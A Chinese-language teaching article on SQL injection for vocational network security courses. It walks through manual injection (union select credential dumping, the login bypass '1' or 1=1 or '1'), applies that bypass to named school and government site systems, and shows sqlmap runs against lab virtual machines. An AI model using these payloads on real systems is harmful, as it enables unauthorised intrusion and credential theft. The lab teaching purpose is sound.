文/容湘萍
习近平总书记曾多次强调“没有网络安全就没有国家安全”。近年来,随着“斯登诺事件”、“勒索病毒”等一系列网络安全事件的出现,网络安全问题备受关注。2017年6月我国首部《网络安全法》由第十二届全国人民代表大会常务委员会通过并正式实施;2018年3月,根据中共中央印发了《深化党和国家机构改革方案》,将中央网络安全和信息化领导小组改为中国共产党中央网络安全和信息化委员会,从“小组”改为“委员会”,即是升格,更是升华。计算机网络安全在我国被推到一个前所未有的高度。
目前,各种Web系统中存储了大量重要数据,所以针对Web应用的攻击也层出不穷。通常来讲,攻击一个Web网站,首先要判断网站使用的脚本语言和数据库类型,然后寻找有漏洞的网页,再通过这个网页得到数据表名、字段名、用户名和密码,再寻找后台地址登录,并获得网站管理权限,接着上传针对网站的木马,通过提权,进而获得网站所在服务器的系统权限,最后,就留设后门,并清除日志,如图1所示。
漏洞是指信息系统中存在的缺陷或不适当的配置。目前,常见的漏洞主要有SQL注入漏洞、XSS跨站脚本漏洞、文件上传漏洞、命令执行漏洞、缓冲区溢出漏洞和ARP协议漏洞等,其中,SQL注入漏洞、XSS跨站脚本漏洞、文件上传漏洞、命令执行漏洞属于Web漏洞。
Kali_Linux是一个基于Debian内核开发的用于安全测试的操作系统,内部集成了600多种渗透测试工具,几乎涵盖了渗透测试步骤中所需要使用的几乎全部工具,可以方便、高效的模拟恶意Hack对Web平台进行测试。
Kali_Linux的渗透测试过程可以被切分成若干步骤,具体包括:收集信息、漏洞扫描、漏洞利用、权限提升、访问维持和消除痕迹等六个步骤,如图2所示。
SQL注入漏洞(SQL injection)是Web层面最高危的漏洞之一,曾连续3年在OWASP年度十大漏洞中排名第一。
SQL注入的核心思想是是黑客利用了正常的网站数据库查询URL,并在该URL后面构造了一段数据库查询代码,然后根据返回的结果,分析出某些想得到的信息。
从学习者的角度出发,SQL注入的学习过程大致可以分为三个步骤,首先是掌握手工注入的步骤,初步掌握SQL注入的方法和原理,其次,通过对密码绕过漏洞的分析,深入掌握SQL语句的使用技巧,最后,使用sqlmap工具进行自动化的SQL注入,提高渗透测试的效率。
为满足多样化的实验要求,测试环境使用VMware虚拟机搭建,攻击主机选择使用Kali_Linux,被攻击主机需配置多种实验环境,包括“ASP+ACCESS组合”和“Nginx+PHP+MYSQL组合”,平台上还需配置满足实验要求的网站,本文的平台配置如表1所示。
被攻击主机采用常用的Windows Server平台,按照表1中的配置信息分别完成测试环境的搭建。因篇幅所限,以下案例仅演示部分实验,包括实验序号1、3、5。
图1:Web渗透的典型流程
图2:Kali_Linux渗透测试流程
步骤一:判断注入点。
(1)首先在攻击主机上,通过浏览器打开被攻击主机上的“南方数据2.0”网站。然后在网站中查找存在参数传递的页面。
(2)使用editplus分析shownews.asp文件。查看第2行“<%owen=request(“id”)%>”和第31行“sql=”select * from news where id =”&owen”,说明id参数会由sql语句带入数据库进行查询,存在注入点。
(3)浏览器中的URL“http://192.168.1.1/shownews.asp?id=5”在网站后台转化为SQL语句“select * from news where id=5”。
(4)使用两行测试语句测试该网页是否为注入点。分别将浏览器的URL改为“http://192.168.1.1/shownews.asp?id=5 and 1=1”和“http://192.168.1.1/shownews.asp?id=5 and 1=2”,后台执行的SQL语句相应为“select * from news where id=5 and 1=1”和“select * from news where id=5 and 1=2”。当URL后面被添加“and 1=2”时,页面无法显示,如图3所示,表示该SQL语句存在注入点。
表1:实验平台配置信息
步骤二:猜解表名。
(1)常见表名为:admin、user、adminuser、manage、manager、manage_user等,使用exists函数分别将常见表名依次带入数据库测试。
(2)将浏览器的URL改为“http://192.168.1.1/shownews.asp?id=5 and exists (select * from manage_user)”,经测试,只有当表名为“manage_user”时,网页才能够正常显示。
步骤三:猜解字段名。
(1)常见的账号字段名为:name、username、user_name、admin、adminuser、admin_user admin_username、adminname。常见的密码字段名为:password、pass、userpass、user_pass pwd、userpwd、adminpwd、admin_pwd。使用exists函数和已经猜出的表名分别将常见字段名依次带入数据库测试。
(2)将浏览器的URL改为“http://192.168.1.1/shownews.asp?id=5 and exists (select username from manage_user)”,经测试,只有当字段名为“username”和“password”时,网页才能够正常显示。
步骤四:猜解字段数量。
猜解表中的字段数量。将浏览器的URL改 为“http://192.168.1.1/shownews.asp?id=5 order by 11”,当数字为12时,网页不能正常显示,当数字为11时,网页能够正常显示。所以,表中的字段数量为11。
步骤五:爆出字段内容。
(1)猜解表中的哪几个字段的内容在页面上显示。
将浏览器的URL改为“http://192.168.1.1/shownews.asp?id=5 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user”,通过联合查询得知表中“2,3,8,9,10”字段的内容能够显示在页面上,如图4所示。
(2)在网页上显示用户名和密码字段的内容。
将浏览器的URL改为“http://192.168.1.1/shownews.asp?id=5 union select 1,username,pass word,4,5,6,7,8,9,10,11 from manage_user”,将表中的用户名和密码显示在网页上,如图5所示,分别为“admin”和“3acdbb255b45d296”。密码采用MD5加密,解密后,密码为“0791idc”。
步骤六:寻找后台管理入口。
输 入URL“http://192.168.1.1/admin/Login.asp”,打开后台页面。输入用户名和破解出来的密码,可以登录网站的后台。
步骤一:绕过语句
常用的密码绕过语句有“1' or 1=1 or '1”和“'or'='or'”。
将绕过语句代入到查询语句中:
a、select * from admin where username = ‘1' or 1=1 or '1' and password='$mpassword‘
b、select * from admin where username = ‘ ’ or ‘=‘ or ‘ ' and password='$mpassword‘
步骤二:逻辑运算表达式
查询语句中,where语句的条件用逻辑运算符表示:
a、假 or 真 or 真 and 假
b、假 or 真 or 假
由于在逻辑表达式中,and的优先级高于or,所以a和b表达式的值都为“真”。
步骤三:将绕过语句填入政府网站的后台
将“1' or 1=1 or '1”绕过语句填入“NPMserv”中政府网站的后台管理入口,直接进入了网站的后台页面。
步骤四:将绕过语句填入“校无忧学校网站系统”的后台。
将“1' or 1=1 or '1”绕过语句填入“校无忧学校网站系统”的后台管理入口,直接进入了网站的后台页面。
步骤一:首先在攻击主机上,通过浏览器打开被攻击主机上的“政府”网站。然后在网站中查找存在参数传递的页面。
步骤二:在攻击主机的Terminal上通过“sqlmap -u”命令检测该路径是否是注入点,具体命令为“sqlmap -u “http://192.168.1.2/shownews.asp?id=5””。
步骤三:爆出数据库里的表,查询参数为“--table”,查询结果为“user、book、download、email、job、links、main、manage_user、news、product、vote”。
步骤四:爆出“manage_user”表中的字段,查询参数为“--columns -T “manage_user””,查询结果为“user、content、id、password、title、username”。
步骤五:爆出“username” 和“password”字段的值,查询参数为“--dump -C “username,password” -T “manage_user””,根据查询结果显示,用户名为“admin”,密码为“3acdbb255b45d296”,密码已经通过MD5加密。
图3:显示不正常的页面
图4:测试可显示的字段
图5:在网页上显示用户名和密码
步骤一:首先在攻击主机上,通过浏览器打开被攻击主机上的“政府”网站。然后,通过查找id值的方法,在网站中查找存在参数传递的页面。
步骤二:在攻击主机上通过“sqlmap -u”命令检测该路径是否是注入点。
经过数据库检测和安全级别检测后,检测出“info_id”这个字段是可注入的,检测结果显示,注入类型是“盲注”,服务器信息是“PHP+MYSQL”。
步骤三:检测网站包含的数据库,查询参数是“--dbs”,查询结果为“blog、govcn、information_schema、mysql”。
步骤四:查询当前正在使用的数据库,查询参数为“--current-db”,查询结果为“govcn”。
步骤五:查询当前数据库的用户,查询参数为“--current-user”,查询结果为“root@localhos”。
步骤六:检测当前用户是否是数据库管理员,查询参数为“--is-dba”,查询结果为“True”。
步骤七:爆出数据库里的表,查询参数为“--table -D“govcn””,查询结果为“admin、index_dy、index_info、index_intro、jgsz、ldjj”。
步骤八:爆出数据库中表的字段,查询参数为“--columns -T “admin” -D “govcn””,使用通用的字段名字典文件进行拆解,查询结果为“password、username”。
步骤九:爆出表中字段的内容,查询参 数 为-dump -C “username,password” -T “admin” -D “govcn””,根据查询结果显示,用户名为“admin”,密码为“21232f297a5a743894a0e4a801fc3”,密码已经通过MD5加密。
高职院校的网络安全课程是大多数计算机专业学生的专业必修课,该课程的主要作用是帮助学生深入了解网络安全知识,掌握网络安全的防范技能。本文主要讲解了手工SQL注入和软件SQL注入两种方法,并分别针对“ASP+ACCESS”和“Nginx+PHP+MYSQL”两种WEB平台中的三个不同网站进行了渗透测试实验,较为全面的实现了SQL注入攻击的主要教学内容。网络安全课程的教学比较容易受实训平台的影响,随着课程的不断深入,实训平台的运维要求也会越来越高,下一步需解决的问题是需建立一体化的虚拟仿真实训环境,简化平台运维的复杂度。